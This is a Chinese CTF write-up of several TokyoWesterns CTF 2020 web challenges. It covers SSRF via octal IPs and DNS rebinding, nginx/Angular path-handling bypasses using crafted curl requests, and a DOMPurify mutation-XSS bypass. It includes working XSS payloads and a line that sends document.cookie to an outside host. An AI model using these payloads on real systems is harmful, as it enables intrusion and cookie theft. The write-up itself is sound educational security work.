前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >TokyoWesterns CTF 6th 2020 部分WP

TokyoWesterns CTF 6th 2020 部分WP

作者头像
Timeline Sec
发布2020-10-27 16:37:36
1.3K0
发布2020-10-27 16:37:36
举报
文章被收录于专栏:Timeline Sec

到学校有点水了,因为为了绩点,很多课都没逃,都在努力听(除了一些水到不行到课)国外的ctf比较有意思而且值得去做,以下是我的一些记录。 T4rn@Timeline Sec

1、Background

urlcheck1

源码:

代码语言:javascript
复制
代码语言:javascript
复制
import os, re, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False

    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '&#x1f914;'
        url = r.headers.get('location')
        if valid_ip(urlparse(url).netloc) == False:
            return '&#x1f914;'
        return get(url, recursive_count + 1) 
    return r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)
代码语言:javascript
复制

关键代码:

代码语言:javascript
复制
代码语言:javascript
复制
def admin_status():
        if flask.request.remote_addr != '127.0.0.1':
            return '&#x1f97a;'
        return app.flag
代码语言:javascript
复制

一道典型的ssrf题目,思路也非常清晰,访问内网的admin_status路由即可获得flag,但这道题用remote_addr要求ip不能为127.0.0.1,但其实ip的表示法有很多,我们可以使用八进制的ip来bypass

推荐阅读文章:

http://www.manongjc.com/detail/13-sfiyyfhuolweeda.html

urlcheck v2

源码:

代码语言:javascript
复制
代码语言:javascript
复制
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'

def valid_ip(ip):
    try:
        result = ipaddress.ip_address(ip)
        # Stay out of my private!
        return result.is_global
    except:
        return False

def valid_fqdn(fqdn):
    return valid_ip(socket.gethostbyname(fqdn))

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '&#x1f914;'
        url = r.headers.get('location')
        if valid_fqdn(urlparse(url).netloc) == False:
            return '&#x1f914;'
        return get(url, recursive_count + 1)
    return r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_fqdn(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)
代码语言:javascript
复制

拿到flag的思路还是一样,不同的是这回但这一次使用ipaddress库检查了IP地址

按照我们输入的流程,可以将代码改写成

代码语言:javascript
复制
furl = urlparse(url).netloc
ip = socket.gethostbyname(furl)
is_global = ipaddress.ip_address(ip).is_global

首先netloc是不检测host名的

仔细读代码,上面的代码完成了两个DNS解析,首先是检查是否私有,然后是第二次请求资源,这里我们可以使用 dns rebingding attack了

DNS rebinding attack的基本概念是在TTL为0的特定ip之间快速更改映射到dns域中的ip(生存时间),即没有dns缓存,以便针对不同的dns请求获得不同的ip 使用此方法,我们可以在valid_fqdn检查中获得主机ip作为公共地址,并在服务器发出的请求中获得localhost ip

这里我们用一个国外师傅写好的在线工具

https://lock.cmpxchg8b.com/rebinder.html

将绑定ip设置为8.8.8.8和127.0.0.1

多尝试几次,成功get flag

推荐阅读:

http://bendawang.site/2017/05/31/关于DNS-rebinding的总结/

https://blog.csdn.net/liuyuyang1023/article/details/84582882

Angular of the Universe

下载源代码之后,发现是一个nginx配置文件

题目介绍很有意思

You know, everything has the angular. A bread, you, me and even the universe. Do you know the answer?

首先po出源码:

代码语言:javascript
复制
 server {
      listen 8080 default_server;

      root /var/www/html;

      server_name _;

      location / {
        proxy_pass http://app;
        proxy_set_header Host $host;
      }
      location /debug {
        # IP address restriction.
        # TODO: add allowed IP addresses here
        allow 127.0.0.1;
        deny all;
      }
    }

通过题目介绍我们猜测:访问到flag的方法是/debug/flag 首先只允许127.0.0.1,但却并没有什么ssrf利用位点。这里面比较有意思的一个点就是proxy_pass

我查阅了nginx proxy_pass的相关资料:

http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

nginx的位置之类的判断是在解释/../等之后做出的。如果题不将/添加到proxy_pass的末尾,则解释之前的URL照原样传递

我刚才做到这道题的时候就卡在这里了,我的想法就是bypass这个debug机制,使用url编码的形式%64ebug,但是还是访问拒绝了,我搜索资料发现

特定nginx规则不易受到路径遍历的影响,curl 正在重写有关/URL的请求,如在输出中所示,这时候我们可以使用

curl 7.42.0添加的一个新规则

curl --path-as-is

我们可以查看官方文档的描述

其中有一条这么写的:

这指示libcurl不要吞掉URL路径部分中可能存在的“ /../”或“ /./”序列,

明白了,flag可能是在这个目录下的其他文件但我们不知道具体是什么,那么我们就很好构造了

这里我们使用 \绕过Nginx限制。node.js将/ \ debug / answer转化为/ debug / answer

payload:

代码语言:javascript
复制
curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/debug/answer'

成功get flag

但是题目有趣的点就在这了,有两个flag

2、flag

在文件server.ts里面,我们可以找到这么一段代码

代码语言:javascript
复制
 server.get('/api/true-answer', (req, res) => {
    console.log('HIT: %s', req.ip)
    if (req.ip.match(/127\.0\.0\.1/)) {
      res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)
    } else {
      res.status(500).send('Access restricted!')
    }
  });

又是个ssrf,p.s.(国外都是这种题目)

Angular HTTP模块使用其服务器主机名构造目标URL,该服务器主机名源自HTTP请求中的Host标头 参考链接: https://github.com/angular/angular/blob/10.1.x/packages/platform-server/src/http.ts#L119

参考GACTF,还有很久以前的Tctf,我们在自己的服务器上写一个跳转到:127.0.0.1/api/true-answer即可

Flag1还有个神奇的非预期

当Angular尝试匹配路径时,它将解析从PROTOCOL + HOST + PATH创建的URL

payload:

代码语言:javascript
复制
curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: \debug\answer'

由于我们将\ debug \ answer作为主机注入,因此Angular解析http:// \ debug \ answer \并将路径检索为/ debug / answer,还是成功拿到了flag

Angular of Another Universe##

这个和第一个很像,下载文件之后发现多了一个Apathe文件夹

配置文件如下:

代码语言:javascript
复制
<VirtualHost *:80>
  <Location /debug>
    Order Allow,Deny
    Deny from all
  </Location>

  ProxyRequests Off
  ProxyPreserveHost on
  ProxyPass / http://nginx:8080/
</VirtualHost>

so,现在的渲染是 Apache -> Nginx -> Express -> Angular

不仅如此 其实还做了点小变动 req.path.includes('debug') -> req.path.includes('/debug')

这题的方法还是跟上题一样通过/debug/answer获得flag

而现在不能使用\了

我当时的思路还是闭塞了,当时一直想着怎么转换\,但是忽略了很多东西,我询问了一个外国的师傅

他回我

Why not try to read the official documentation

恍然大悟,于是连忙翻看Angular文档,边看边翻译(我太菜了)

https://angular.io/api/router/RouterOutlet#description

在这里你可以这样写angularjs

/team/11(aux:chat/jim)

通过使用primary标签进行构造

(primary:%64ebug/answer),别忘了前面要加/

最终payload:

代码语言:javascript
复制
curl --path-as-is 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'

bfnote

开局一看到框框,我就知道了,又是熟悉的xss题目,其实思路已经有了,肯定是要提交一个exp,分享然后带出来cookies,google ctf 2020就有这种题目

这题只有18个师傅做出来,上一道只有8道(QAQ),是真的做不出来,上一题没提示我也做不出来,所以我收集别的师傅的wp来复现一下

得到提示

直接访问可以获得源码

但实际上这还有个可疑的文件

写wp的师傅说这个是爆的一个洞

bypass payload:

代码语言:javascript
复制
代码语言:javascript
复制
<form><math><mtext></form><form><mglyph><style><img src=x onerror=alert()>

而刚才js里面对这个的防护只是删除了form子代的math标签

代码语言:javascript
复制
var elms = ["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"];

for(let el of elms){
    let p = `<form><math><mtext></form><${el}><mglyph><style><img>`;
    document.body.innerHTML = p;
    let old = document.body.innerHTML;
    document.body.innerHTML = old;
        if(document.body.innerHTML != old){
            console.log(p);
        }
}

payload如下

代码语言:javascript
复制
<math><mtext><table><mglyph><style><img src=x onerror=alert()>

接下来就是带cookies了

师傅的payload是:

代码语言:javascript
复制
<math><mtext><table><mglyph><style><img src=x onerror=location=location.pathname+/terjanq.me/+document.cookie>

我测试并没成功,也不知道是环境的事还是什么原因

后记

做题和想题的时间很长,我也是很用心的尽量复现了我当时做题的过程,国外的题是真的能学到很多东西,肝题忘了吃饭的那几个小时很爽,希望自己能越来越强。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、Background
    • urlcheck1
      • urlcheck v2
        • Angular of the Universe
        • 2、flag
          • Angular of Another Universe##
            • bfnote
              • 后记
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档